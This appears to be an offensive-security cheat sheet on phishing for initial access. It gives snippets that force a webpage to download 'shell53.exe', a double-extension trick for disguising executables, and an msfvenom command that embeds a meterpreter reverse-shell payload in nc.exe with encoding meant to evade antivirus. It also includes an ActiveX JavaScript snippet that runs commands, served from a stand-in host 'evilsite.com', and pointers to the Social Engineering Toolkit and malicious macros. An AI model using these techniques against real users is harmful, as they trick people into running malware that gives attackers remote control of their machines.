# Social Engineering - Phishing

Gaining initial access to a network is often done using different kinds of social engineering attacks.

## Auto-download a malicious file

The techical part is not really that difficult here. In order to auto-download a file you just add this script to the malicious webpage

```
<script> document.location.href = 'shell53.exe'; </script>
```

Another way to do it is like this

```
<html>
<head>
<meta http-equiv="refresh" content="0; url=shell53.exe">
</head>
</html>
```

Of course the user will have to accept to download the file, unless the user has previously checked in the box automatically download. The user must then click the file for it to execute. This is where the social engineering part comes in, you really must trick the user into executing the file.

### Change the filename

Since windows by default remove the filename you can call your file shell.jpg.exe, and once downloaded onto the machine windows will display it as "shell.jpg".

### Embed malicious code in legitimate file

It is however very likely that this will be picked up by a antivirus.

```
msfvenom -a x86 --platform windows -x nc.exe -k -p windows/meterpreter/reverse_tcp lhost=192.168.1.101 lhost=53 -e x86/shikata_ga_na
```

## Autodownload a malicious javascript-file

Just like we can download an exe for a user to can also make that user download a javascript file. Since javascript files can execute commands on windows.

```
var oShell = new ActiveXObject("Shell.Application");
var commandtoRun = "C:\\Windows\\system32\\calc.exe";
oShell.ShellExecute(commandtoRun,"","","open","1");
```

```
http://evilsite.com/file.js
```

This code can be modified to greate a wget-script and then download and execute a script.

## Phishing

The most common tool for social engineering is to use Social Engineering Toolkit. SET. It comes as default in Kali. Run it like this:

```
setoolkit
```

## Word/excel makros

An explanation of how to createa malicious makro-wordfile.

https://www.offensive-security.com/metasploit-unleashed/vbscript-infection-methods/

## Reference:

https://www.youtube.com/watch?v=NTdthBQYa1k